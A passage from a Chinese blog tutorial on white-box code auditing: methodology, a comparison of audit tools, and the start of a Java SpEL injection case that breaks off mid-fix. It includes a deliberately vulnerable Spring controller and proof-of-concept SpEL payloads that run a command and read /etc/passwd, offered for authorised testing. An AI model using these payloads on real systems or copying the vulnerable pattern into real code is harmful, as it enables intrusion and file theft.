{"id":93089,"date":"2026-08-11T22:00:45","date_gmt":"2026-08-11T14:00:45","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/93089.html"},"modified":"2026-08-11T22:00:45","modified_gmt":"2026-08-11T14:00:45","slug":"%e4%bb%a3%e7%a0%81%e5%ae%a1%e8%ae%a1%e5%ae%9e%e6%88%98%e6%8c%87%e5%8d%97%ef%bc%9a%e4%bb%8e%e7%99%bd%e7%9b%92%e5%88%86%e6%9e%90%e5%88%b0%e6%bc%8f%e6%b4%9e%e6%8c%96%e6%8e%98%ef%bc%88%e9%99%84-java-php-p","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/93089.html","title":{"rendered":"\u4ee3\u7801\u5ba1\u8ba1\u5b9e\u6218\u6307\u5357\uff1a\u4ece\u767d\u76d2\u5206\u6790\u5230\u6f0f\u6d1e\u6316\u6398\uff08\u9644 Java\/PHP\/Python \u5b9e\u6218\u6848\u4f8b\uff09"},"content":{"rendered":"<h2>\u524d\u8a00<\/h2>\n<p>\u5728\u7532\u65b9\u5b89\u5168\u5efa\u8bbe\u4e0e\u7ea2\u961f\u6e17\u900f\u4e2d&#xff0c;\u4ee3\u7801\u5ba1\u8ba1&#xff08;Code Audit \/ White-box Testing&#xff09;<br \/>\n\u662f\u4e00\u9879\u6838\u5fc3\u80fd\u529b\u3002\u76f8\u6bd4\u4e8e\u9ed1\u76d2\u626b\u63cf&#034;\u649e\u8fd0\u6c14&#034;\u5f0f\u7684\u6f0f\u6d1e\u53d1\u73b0&#xff0c;\u4ee3\u7801\u5ba1\u8ba1\u80fd\u591f\u4ece<br \/>\n\u6e90\u5934\u5b9a\u4f4d\u7f3a\u9677&#xff0c;\u7406\u89e3\u4e1a\u52a1\u903b\u8f91&#xff0c;\u6316\u6398\u51fa\u9ed1\u76d2\u96be\u4ee5\u89e6\u8fbe\u7684\u9ad8\u5371\u903b\u8f91\u6f0f\u6d1e\u4e0e\u7ec4\u5408\u94fe\u3002<\/p>\n<p>\u672c\u6587\u5c06\u4ece\u65b9\u6cd5\u8bba\u51fa\u53d1&#xff0c;\u7cfb\u7edf\u8bb2\u89e3\u767d\u76d2\u5ba1\u8ba1\u7684\u601d\u8def&#xff0c;\u5bf9\u6bd4\u516d\u5927\u4e3b\u6d41\u5ba1\u8ba1\u5de5\u5177&#xff0c;\u5e76<br \/>\n\u5206\u522b\u7ed9\u51fa Java\u3001PHP\u3001Python \u4e09\u5927\u8bed\u8a00\u7684\u5b9e\u6218\u5ba1\u8ba1\u6848\u4f8b&#xff0c;\u6700\u540e\u6f14\u793a\u5982\u4f55\u7528<br \/>\nSemgrep \/ CodeQL \u5b9e\u73b0\u81ea\u52a8\u5316\u5ba1\u8ba1&#xff0c;\u4ee5\u53ca\u4e00\u4e2a\u5b8c\u6574 CMS \u7684\u5ba1\u8ba1\u94fe\u6784\u9020\u8fc7\u7a0b\u3002<\/p>\n<p>\u3010\u63d0\u793a\u3011\u672c\u6587\u6240\u6709\u4ee3\u7801\u793a\u4f8b\u4ec5\u7528\u4e8e\u5b89\u5168\u7814\u7a76\u4e0e\u6388\u6743\u6d4b\u8bd5&#xff0c;\u4e25\u7981\u7528\u4e8e\u975e\u6cd5\u7528\u9014\u3002<br \/>\n\u8bf7\u9075\u5b88\u300a\u7f51\u7edc\u5b89\u5168\u6cd5\u300b\u53ca\u76f8\u5173\u6cd5\u5f8b\u6cd5\u89c4&#xff0c;\u672a\u7ecf\u6388\u6743\u7684\u6e17\u900f\u6d4b\u8bd5\u5c5e\u4e8e\u8fdd\u6cd5\u884c\u4e3a\u3002<\/p>\n<h2>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>\n\u4e00\u3001\u4ee3\u7801\u5ba1\u8ba1\u6982\u8ff0\u4e0e\u65b9\u6cd5\u8bba<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<\/h2>\n<h3>1.1 \u4ec0\u4e48\u662f\u4ee3\u7801\u5ba1\u8ba1<\/h3>\n<p>\u4ee3\u7801\u5ba1\u8ba1\u662f\u6307\u901a\u8fc7\u4eba\u5de5\u6216\u81ea\u52a8\u5316\u5de5\u5177&#xff0c;\u5bf9\u7a0b\u5e8f\u6e90\u4ee3\u7801\u8fdb\u884c\u7cfb\u7edf\u6027\u68c0\u67e5&#xff0c;\u53d1\u73b0\u5176\u4e2d<br \/>\n\u53ef\u80fd\u5b58\u5728\u7684\u5b89\u5168\u6f0f\u6d1e\u3001\u903b\u8f91\u7f3a\u9677\u3001\u786c\u7f16\u7801\u654f\u611f\u4fe1\u606f\u7b49\u95ee\u9898\u7684\u8fc7\u7a0b\u3002\u5176\u672c\u8d28\u662f<br \/>\n&#034;\u4ee5\u8bfb\u4ee3\u7801\u7684\u65b9\u5f0f\u627e\u6f0f\u6d1e&#034;\u3002<\/p>\n<p>\u4ee3\u7801\u5ba1\u8ba1\u7684\u4f18\u52bf&#xff1a;<br \/>\n&#8211; \u80fd\u591f\u53d1\u73b0\u9ed1\u76d2\u626b\u63cf\u65e0\u6cd5\u8986\u76d6\u7684\u903b\u8f91\u6f0f\u6d1e&#xff08;\u5982\u8d8a\u6743\u3001\u652f\u4ed8\u903b\u8f91\u7f3a\u9677&#xff09;<br \/>\n&#8211; \u80fd\u591f\u7cbe\u786e\u5b9a\u4f4d\u6f0f\u6d1e\u6839\u56e0&#xff0c;\u7ed9\u51fa\u4fee\u590d\u5efa\u8bae<br \/>\n&#8211; \u80fd\u591f\u5728\u5f00\u53d1\u9636\u6bb5&#xff08;Shift Left&#xff09;\u63d0\u524d\u6d88\u9664\u5b89\u5168\u9690\u60a3&#xff0c;\u964d\u4f4e\u4fee\u590d\u6210\u672c<br \/>\n&#8211; \u80fd\u591f\u53d1\u73b0\u9690\u85cf\u7684\u540e\u95e8\u4e0e\u4f9b\u5e94\u94fe\u6295\u6bd2\u4ee3\u7801<\/p>\n<h3>1.2 \u767d\u76d2\u5ba1\u8ba1 vs \u9ed1\u76d2\u5ba1\u8ba1<\/h3>\n<p>| \u5bf9\u6bd4\u7ef4\u5ea6 \u00a0 | \u767d\u76d2\u5ba1\u8ba1&#xff08;\u4ee3\u7801\u5ba1\u8ba1&#xff09; \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | \u9ed1\u76d2\u5ba1\u8ba1&#xff08;\u6e17\u900f\u6d4b\u8bd5&#xff09; \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 |<br \/>\n|&#8212;&#8212;&#8212;&#8212;|&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-|&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-|<br \/>\n| \u6d4b\u8bd5\u89c6\u89d2 \u00a0 | \u62e5\u6709\u6e90\u4ee3\u7801&#xff0c;\u4ece\u5185\u90e8\u770b \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | \u65e0\u6e90\u4ee3\u7801&#xff0c;\u4ece\u5916\u90e8\u770b \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 |<br \/>\n| \u8986\u76d6\u7387 \u00a0 \u00a0 | \u9ad8&#xff0c;\u53ef\u8fbe 100% \u4ee3\u7801\u8def\u5f84 \u00a0 \u00a0 \u00a0 \u00a0 | \u53d7\u9650\u4e8e\u8f93\u5165\u7a7a\u95f4\u4e0e\u8ba4\u8bc1\u72b6\u6001 \u00a0 \u00a0 \u00a0 |<br \/>\n| \u6f0f\u6d1e\u7c7b\u578b \u00a0 | \u903b\u8f91\u6f0f\u6d1e\u3001\u914d\u7f6e\u7f3a\u9677\u3001\u9690\u85cf\u540e\u95e8 \u00a0 | \u6ce8\u5165\u7c7b\u3001\u914d\u7f6e\u66b4\u9732\u3001\u8ba4\u8bc1\u7ed5\u8fc7 \u00a0 \u00a0 |<br \/>\n| \u8bef\u62a5\u7387 \u00a0 \u00a0 | \u5de5\u5177\u8bef\u62a5\u8f83\u9ad8&#xff0c;\u9700\u4eba\u5de5\u786e\u8ba4 \u00a0 \u00a0 \u00a0 | \u8bef\u62a5\u8f83\u4f4e&#xff0c;\u4f46\u6f0f\u62a5\u7387\u9ad8 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 |<br \/>\n| \u6210\u672c \u00a0 \u00a0 \u00a0 | \u524d\u671f\u9ad8&#xff08;\u9700\u9605\u8bfb\u4ee3\u7801&#xff09; \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | \u76f8\u5bf9\u8f83\u4f4e \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 |<br \/>\n| \u9002\u7528\u9636\u6bb5 \u00a0 | \u5f00\u53d1\u671f\u3001\u4e0a\u7ebf\u524d\u5ba1\u8ba1 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | \u4e0a\u7ebf\u540e\u3001\u7ea2\u961f\u8bc4\u4f30 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 |<\/p>\n<p>\u3010\u6ce8\u610f\u3011\u767d\u76d2\u4e0e\u9ed1\u76d2\u5e76\u975e\u5bf9\u7acb\u5173\u7cfb&#xff0c;\u6210\u719f\u7684\u7532\u65b9\u5b89\u5168\u4f53\u7cfb\u5e94\u91c7\u7528&#034;\u767d\u76d2\u4e3a\u4e3b\u3001<br \/>\n\u9ed1\u76d2\u4e3a\u8f85&#034;\u7684\u7070\u76d2&#xff08;Gray-box&#xff09;\u7b56\u7565&#xff0c;\u76f8\u4e92\u8865\u5145\u3002<\/p>\n<h3>1.3 \u81ea\u9876\u5411\u4e0b vs \u81ea\u5e95\u5411\u4e0a<\/h3>\n<p>\u4ee3\u7801\u5ba1\u8ba1\u6709\u4e24\u79cd\u7ecf\u5178\u5206\u6790\u8def\u5f84&#xff0c;\u5b9e\u6218\u4e2d\u901a\u5e38\u7ed3\u5408\u4f7f\u7528&#xff1a;<\/p>\n<p>\u30101\u3011\u81ea\u9876\u5411\u4e0b&#xff08;Top-Down&#xff09;<br \/>\n\u00a0 \u00a0 \u4ece\u5165\u53e3\u70b9&#xff08;\u8def\u7531\u3001Controller\u3001Action&#xff09;\u51fa\u53d1&#xff0c;\u6cbf\u7740\u6570\u636e\u6d41\u8ffd\u8e2a\u7528\u6237\u8f93\u5165<br \/>\n\u00a0 \u00a0 \u5982\u4f55\u6d41\u5411\u5371\u9669\u51fd\u6570&#xff08;Sink&#xff09;\u3002\u9002\u5408\u5feb\u901f\u7406\u89e3\u4e1a\u52a1&#xff0c;\u5b9a\u4f4d\u6570\u636e\u6d41\u5411\u3002<\/p>\n<p>\u00a0 \u00a0 \u5206\u6790\u8def\u5f84&#xff1a;\u8def\u7531 -&gt; Controller -&gt; Service -&gt; DAO -&gt; \u5371\u9669\u64cd\u4f5c<\/p>\n<p>\u30102\u3011\u81ea\u5e95\u5411\u4e0a&#xff08;Bottom-Up&#xff09;<br \/>\n\u00a0 \u00a0 \u4ece\u5371\u9669\u51fd\u6570&#xff08;Sink&#xff09;\u51fa\u53d1&#xff0c;\u53cd\u5411\u56de\u6eaf\u6570\u636e\u6765\u6e90&#xff0c;\u5224\u65ad\u53c2\u6570\u662f\u5426\u7528\u6237\u53ef\u63a7\u3002<br \/>\n\u00a0 \u00a0 \u9002\u5408\u5728\u5927\u578b\u4ee3\u7801\u5e93\u4e2d\u5feb\u901f\u5b9a\u4f4d\u5df2\u77e5\u6f0f\u6d1e\u6a21\u5f0f\u3002<\/p>\n<p>\u00a0 \u00a0 \u5206\u6790\u8def\u5f84&#xff1a;\u5371\u9669\u51fd\u6570 -&gt; \u8c03\u7528\u94fe\u56de\u6eaf -&gt; \u53c2\u6570\u6765\u6e90 -&gt; \u662f\u5426\u53ef\u63a7<\/p>\n<h3>1.4 \u4ee3\u7801\u5ba1\u8ba1\u901a\u7528\u65b9\u6cd5\u8bba&#xff08;\u4e03\u6b65\u6cd5&#xff09;<\/h3>\n<p>&#096;&#096;&#096;<br \/>\n\u6b65\u9aa4 1&#xff1a;\u73af\u5883\u642d\u5efa\u4e0e\u9879\u76ee\u7ed3\u6784\u5206\u6790<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 &#8211; \u90e8\u7f72\u8fd0\u884c\u73af\u5883&#xff0c;\u7406\u89e3\u9879\u76ee\u76ee\u5f55\u7ed3\u6784\u3001\u6846\u67b6\u7248\u672c<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 &#8211; \u8bc6\u522b\u4f9d\u8d56\u7ec4\u4ef6&#xff08;pom.xml \/ composer.json \/ requirements.txt&#xff09;<\/p>\n<p>\u6b65\u9aa4 2&#xff1a;\u5165\u53e3\u70b9\u8bc6\u522b&#xff08;Source&#xff09;<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 &#8211; \u8def\u7531\u914d\u7f6e&#xff08;&#064;RequestMapping \/ route.php \/ Flask &#064;app.route&#xff09;<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 &#8211; \u53cd\u5e8f\u5217\u5316\u5165\u53e3\u3001\u6587\u4ef6\u4e0a\u4f20\u63a5\u53e3\u3001SOAP\/REST API<\/p>\n<p>\u6b65\u9aa4 3&#xff1a;\u5371\u9669\u51fd\u6570\u8bc6\u522b&#xff08;Sink&#xff09;<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 &#8211; Java&#xff1a;Runtime.exec\u3001ProcessBuilder\u3001SpEL eval\u3001XML\u89e3\u6790<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 &#8211; PHP&#xff1a;eval\u3001assert\u3001system\u3001include\u3001unserialize<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 &#8211; Python&#xff1a;eval\u3001exec\u3001os.system\u3001subprocess\u3001pickle.loads<\/p>\n<p>\u6b65\u9aa4 4&#xff1a;\u6570\u636e\u6d41\u8ffd\u8e2a&#xff08;Taint Analysis&#xff09;<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 &#8211; \u4ece Source \u5230 Sink \u8ffd\u8e2a\u7528\u6237\u8f93\u5165\u662f\u5426\u7ecf\u8fc7\u51c0\u5316<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 &#8211; \u91cd\u70b9\u5173\u6ce8&#034;\u51c0\u5316\u51fd\u6570&#034;\u662f\u5426\u53ef\u88ab\u7ed5\u8fc7<\/p>\n<p>\u6b65\u9aa4 5&#xff1a;\u6f0f\u6d1e\u9a8c\u8bc1&#xff08;PoC \u6784\u9020&#xff09;<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 &#8211; \u7f16\u5199\u6700\u5c0f\u5316 PoC \u9a8c\u8bc1\u6f0f\u6d1e\u53ef\u5229\u7528\u6027<\/p>\n<p>\u6b65\u9aa4 6&#xff1a;\u6f0f\u6d1e\u94fe\u6784\u9020&#xff08;Chain&#xff09;<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 &#8211; \u5c06\u591a\u4e2a\u4f4e\u5371\u6f0f\u6d1e\u7ec4\u5408\u6210\u9ad8\u5371\u5229\u7528\u94fe<\/p>\n<p>\u6b65\u9aa4 7&#xff1a;\u4fee\u590d\u5efa\u8bae\u4e0e\u62a5\u544a<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 &#8211; \u7ed9\u51fa\u4ee3\u7801\u7ea7\u4fee\u590d\u65b9\u6848&#xff0c;\u8f93\u51fa\u5ba1\u8ba1\u62a5\u544a<br \/>\n&#096;&#096;&#096;<\/p>\n<p>\u3010\u63d0\u793a\u3011\u5b9e\u6218\u4e2d&#034;\u81ea\u5e95\u5411\u4e0a&#034;\u6548\u7387\u66f4\u9ad8&#xff1a;\u5148\u7528 IDE \u5168\u5c40\u641c\u7d22\u5371\u9669\u51fd\u6570&#xff0c;\u518d\u56de\u6eaf<br \/>\n\u6570\u636e\u6d41&#xff0c;\u80fd\u5728\u6570\u5c0f\u65f6\u5185\u5b8c\u6210\u5bf9\u4e2d\u578b\u9879\u76ee\u7684\u521d\u7b5b\u3002<\/p>\n<h3>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>\n\u4e8c\u3001\u5e38\u7528\u4ee3\u7801\u5ba1\u8ba1\u5de5\u5177\u5bf9\u6bd4<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<\/h3>\n<p>\u5de5\u6b32\u5584\u5176\u4e8b&#xff0c;\u5fc5\u5148\u5229\u5176\u5668\u3002\u4e0b\u9762\u5bf9\u516d\u6b3e\u4e3b\u6d41\u4ee3\u7801\u5ba1\u8ba1\u5de5\u5177\u8fdb\u884c\u6a2a\u5411\u5bf9\u6bd4&#xff1a;<\/p>\n<p>| \u5de5\u5177 \u00a0 \u00a0 \u00a0 | \u8bed\u8a00\u652f\u6301 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0| \u68c0\u6d4b\u65b9\u5f0f \u00a0 \u00a0 \u00a0 | \u4f18\u52bf \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | \u52a3\u52bf \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | \u9002\u7528\u573a\u666f \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 |<br \/>\n|&#8212;&#8212;&#8212;&#8212;|&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-|&#8212;&#8212;&#8212;&#8212;&#8212;-|&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-|&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-|&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-|<br \/>\n| Fortify \u00a0 \u00a0| Java\/C#\/C&#043;&#043;\/JS \u7b49 25&#043;| \u9759\u6001\u5206\u6790(SAST) | \u89c4\u5219\u4e30\u5bcc\u3001\u4f01\u4e1a\u7ea7\u3001\u62a5\u544a\u5b8c\u5584 \u00a0 \u00a0 | \u5546\u4e1a\u6536\u8d39\u6602\u8d35\u3001\u8bef\u62a5\u591a \u00a0 \u00a0 \u00a0 \u00a0| \u4f01\u4e1a\u7ea7\u5408\u89c4\u5ba1\u8ba1 \u00a0 \u00a0 |<br \/>\n| Checkmarx \u00a0| Java\/JS\/Python \u7b49 25&#043;| \u9759\u6001\u5206\u6790(SAST) | \u6570\u636e\u6d41\u5206\u6790\u5f3a\u3001\u652f\u6301 IDE \u63d2\u4ef6 \u00a0 \u00a0| \u5546\u4e1a\u6536\u8d39\u3001\u626b\u63cf\u8f83\u6162 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0| \u4f01\u4e1a\u7ea7 DevSecOps \u00a0|<br \/>\n| CodeQL \u00a0 \u00a0 | Java\/C\/C&#043;&#043;\/Python \u7b49 | \u67e5\u8be2\u5f0f\u5206\u6790 \u00a0 \u00a0 | \u81ea\u5b9a\u4e49\u67e5\u8be2\u7075\u6d3b\u3001\u8bed\u4e49\u5206\u6790\u6df1 \u00a0 \u00a0 | \u5b66\u4e60\u66f2\u7ebf\u9661\u3001\u9700\u81ea\u5efa\u6570\u636e\u5e93 \u00a0 \u00a0| \u6df1\u5ea6\u6f0f\u6d1e\u6316\u6398 \u00a0 \u00a0 \u00a0 |<br \/>\n| SonarQube \u00a0| 20&#043; \u8bed\u8a00 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | \u9759\u6001\u5206\u6790&#043;\u8d28\u91cf \u00a0| \u5f00\u6e90\u514d\u8d39\u3001CI\/CD \u96c6\u6210\u597d \u00a0 \u00a0 \u00a0 \u00a0 | \u5b89\u5168\u89c4\u5219\u8f83\u5c11\u3001\u504f\u4ee3\u7801\u8d28\u91cf \u00a0 \u00a0| \u4ee3\u7801\u8d28\u91cf&#043;\u57fa\u7840\u5b89\u5168 \u00a0|<br \/>\n| Semgrep \u00a0 \u00a0| 20&#043; \u8bed\u8a00 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | \u6a21\u5f0f\u5339\u914d \u00a0 \u00a0 \u00a0 | \u5f00\u6e90\u514d\u8d39\u3001\u89c4\u5219\u7f16\u5199\u7b80\u5355\u3001\u901f\u5ea6\u5feb | \u65e0\u6570\u636e\u6d41\u5206\u6790&#xff08;CE\u7248&#xff09;\u3001\u8bef\u62a5 \u00a0| \u5feb\u901f\u89c4\u5219\u626b\u63cf \u00a0 \u00a0 \u00a0 |<br \/>\n| RIPS \u00a0 \u00a0 \u00a0 | PHP \u4e3a\u4e3b \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | \u6570\u636e\u6d41\u5206\u6790 \u00a0 \u00a0 | PHP \u5ba1\u8ba1\u4e13\u7cbe\u3001\u6c61\u70b9\u8ffd\u8e2a\u5f3a \u00a0 \u00a0 \u00a0 | \u5546\u4e1a\u6536\u8d39\u3001\u8bed\u8a00\u652f\u6301\u6709\u9650 \u00a0 \u00a0 \u00a0| PHP \u9879\u76ee\u5ba1\u8ba1 \u00a0 \u00a0 \u00a0|<\/p>\n<p>\u3010\u6ce8\u610f\u3011\u6ca1\u6709\u4efb\u4f55\u4e00\u6b3e\u5de5\u5177\u80fd 100% \u8986\u76d6\u6f0f\u6d1e\u3002\u6700\u4f73\u5b9e\u8df5\u662f&#034;\u5de5\u5177\u521d\u7b5b &#043; \u4eba\u5de5<br \/>\n\u590d\u6838&#034;&#xff0c;\u5de5\u5177\u8d1f\u8d23\u5feb\u901f\u5b9a\u4f4d\u53ef\u7591\u70b9&#xff0c;\u4eba\u5de5\u8d1f\u8d23\u786e\u8ba4\u4e0e\u6f0f\u6d1e\u94fe\u6784\u9020\u3002<\/p>\n<h3>2.1 \u5de5\u5177\u9009\u578b\u5efa\u8bae<\/h3>\n<p>&#8211; \u4e2a\u4eba\u5b66\u4e60 \/ \u5f00\u6e90\u9879\u76ee&#xff1a;Semgrep&#xff08;\u514d\u8d39&#xff09;&#043; CodeQL&#xff08;\u514d\u8d39&#xff09;&#043; \u624b\u5de5\u5ba1\u8ba1<br \/>\n&#8211; PHP \u9879\u76ee\u4e13\u9879\u5ba1\u8ba1&#xff1a;RIPS &#043; \u624b\u5de5 IDE \u5ba1\u8ba1<br \/>\n&#8211; \u4f01\u4e1a\u7ea7 DevSecOps&#xff1a;SonarQube&#xff08;\u8d28\u91cf&#xff09;&#043; Checkmarx\/Fortify&#xff08;\u5b89\u5168&#xff09;&#043; Semgrep&#xff08;\u81ea\u5b9a\u4e49\u89c4\u5219&#xff09;<br \/>\n&#8211; \u6df1\u5ea6\u6f0f\u6d1e\u6316\u6398&#xff08;\u6f0f\u6d1e\u730e\u624b&#xff09;&#xff1a;CodeQL&#xff08;\u81ea\u5b9a\u4e49\u67e5\u8be2&#xff09;&#043; \u4eba\u5de5\u9006\u5411\u6570\u636e\u6d41<\/p>\n<h3>2.2 IDE \u8f85\u52a9\u5ba1\u8ba1\u6280\u5de7<\/h3>\n<p>\u63a8\u8350\u4f7f\u7528 IntelliJ IDEA \/ VS Code \u8fdb\u884c\u624b\u5de5\u5ba1\u8ba1&#xff1a;<\/p>\n<p>&#096;&#096;&#096;<br \/>\n&#8211; \u5168\u5c40\u641c\u7d22\u5371\u9669\u51fd\u6570&#xff1a;Ctrl&#043;Shift&#043;F \u641c\u7d22 eval(\u3001exec(\u3001Runtime<br \/>\n&#8211; \u67e5\u627e\u8c03\u7528\u5173\u7cfb&#xff1a;Ctrl&#043;Alt&#043;H \u67e5\u770b Call Hierarchy&#xff08;\u8c03\u7528\u5c42\u7ea7&#xff09;<br \/>\n&#8211; \u6570\u636e\u6d41\u8ffd\u8e2a&#xff1a;\u5229\u7528 IDE \u7684 Find Usages \u53cd\u5411\u56de\u6eaf\u53c2\u6570\u6765\u6e90<br \/>\n&#8211; \u65ad\u70b9\u8c03\u8bd5&#xff1a;\u5728\u53ef\u7591\u51fd\u6570\u5904\u4e0b\u65ad\u70b9&#xff0c;\u52a8\u6001\u8ddf\u8e2a\u6570\u636e\u6d41&#xff08;\u7070\u76d2\u5ba1\u8ba1&#xff09;<br \/>\n&#096;&#096;&#096;<\/p>\n<h2>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>\n\u4e09\u3001Java \u4ee3\u7801\u5ba1\u8ba1\u5b9e\u6218<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<\/h2>\n<p>Java \u662f\u4f01\u4e1a\u7ea7\u5e94\u7528\u7684\u4e3b\u6d41\u8bed\u8a00&#xff0c;\u5176\u751f\u6001\u4e30\u5bcc\u3001\u7ec4\u4ef6\u4f17\u591a&#xff0c;\u4e5f\u662f\u4ee3\u7801\u5ba1\u8ba1\u7684\u91cd\u70b9<br \/>\n\u76ee\u6807\u3002\u672c\u8282\u5c06\u8bb2\u89e3 Java \u4e2d\u4e94\u7c7b\u5178\u578b\u6f0f\u6d1e\u7684\u6316\u6398\u4e0e\u5ba1\u8ba1\u65b9\u6cd5\u3002<\/p>\n<h3>3.1 SpEL \u6ce8\u5165\u6f0f\u6d1e\u6316\u6398\u4e0e\u5ba1\u8ba1<\/h3>\n<p>SpEL&#xff08;Spring Expression Language&#xff09;\u662f Spring \u6846\u67b6\u63d0\u4f9b\u7684\u8868\u8fbe\u5f0f\u8bed\u8a00\u3002<br \/>\n\u5f53\u7528\u6237\u8f93\u5165\u88ab\u76f4\u63a5\u4f20\u5165 SpEL \u89e3\u6790\u5668\u65f6&#xff0c;\u53ef\u80fd\u5bfc\u81f4\u4efb\u610f\u4ee3\u7801\u6267\u884c\u3002<\/p>\n<p>\u6f0f\u6d1e\u4ee3\u7801\u793a\u4f8b&#xff1a;<\/p>\n<p>&#096;&#096;&#096;java<br \/>\nimport org.springframework.expression.Expression;<br \/>\nimport org.springframework.expression.ExpressionParser;<br \/>\nimport org.springframework.expression.spel.standard.SpelExpressionParser;<\/p>\n<p>&#064;RestController<br \/>\npublic class SpelController {<\/p>\n<p>\u00a0 \u00a0 &#064;GetMapping(&#034;\/spel&#034;)<br \/>\n\u00a0 \u00a0 public String spel(&#064;RequestParam String expr) {<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 ExpressionParser parser &#061; new SpelExpressionParser();<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 \/\/ \u3010\u6f0f\u6d1e\u3011\u7528\u6237\u8f93\u5165 expr \u76f4\u63a5\u88ab\u89e3\u6790\u4e3a SpEL \u8868\u8fbe\u5f0f<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 Expression expression &#061; parser.parseExpression(expr);<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 return expression.getValue().toString();<br \/>\n\u00a0 \u00a0 }<br \/>\n}<br \/>\n&#096;&#096;&#096;<\/p>\n<p>\u5ba1\u8ba1\u8981\u70b9&#xff1a;<br \/>\n&#8211; \u5168\u5c40\u641c\u7d22 SpelExpressionParser\u3001parseExpression\u3001getValue<br \/>\n&#8211; \u68c0\u67e5\u8868\u8fbe\u5f0f\u5185\u5bb9\u662f\u5426\u6765\u81ea\u7528\u6237\u8f93\u5165<br \/>\n&#8211; \u68c0\u67e5\u662f\u5426\u4f7f\u7528\u4e86 SimpleEvaluationContext&#xff08;\u5b89\u5168\u4e0a\u4e0b\u6587&#xff09;<\/p>\n<p>PoC \u5229\u7528&#xff1a;<\/p>\n<p>&#096;&#096;&#096;<br \/>\n# \u6267\u884c\u7cfb\u7edf\u547d\u4ee4<br \/>\nT(java.lang.Runtime).getRuntime().exec(&#039;calc&#039;)<\/p>\n<p># \u8bfb\u53d6\u6587\u4ef6<br \/>\nnew String(T(java.nio.file.Files).readAllBytes(<br \/>\n\u00a0 \u00a0 T(java.nio.file.Paths).get(&#039;\/etc\/passwd&#039;)))<br \/>\n&#096;&#096;&#096;<\/p>\n<p>\u5b89\u5168\u4fee\u590d&#xff1a;<\/p>\n<p>&#096;&#096;&#096;java<br \/>\n\/\/ \u4f7f\u7528\u5b89\u5168\u4e0a\u4e0b\u6587&#xff0c;\u7981\u7528\u7c7b\u578b\u5f15\u7528\u4e0e\u65b9\u6cd5\u8c03\u7528<br \/>\nEvaluationContext context &#061; SimpleEvaluationContext.forReadOnlyDataBinding()<br \/>\n\u00a0 \u00a0 .build();<br \/>\nExpression expression &#061; 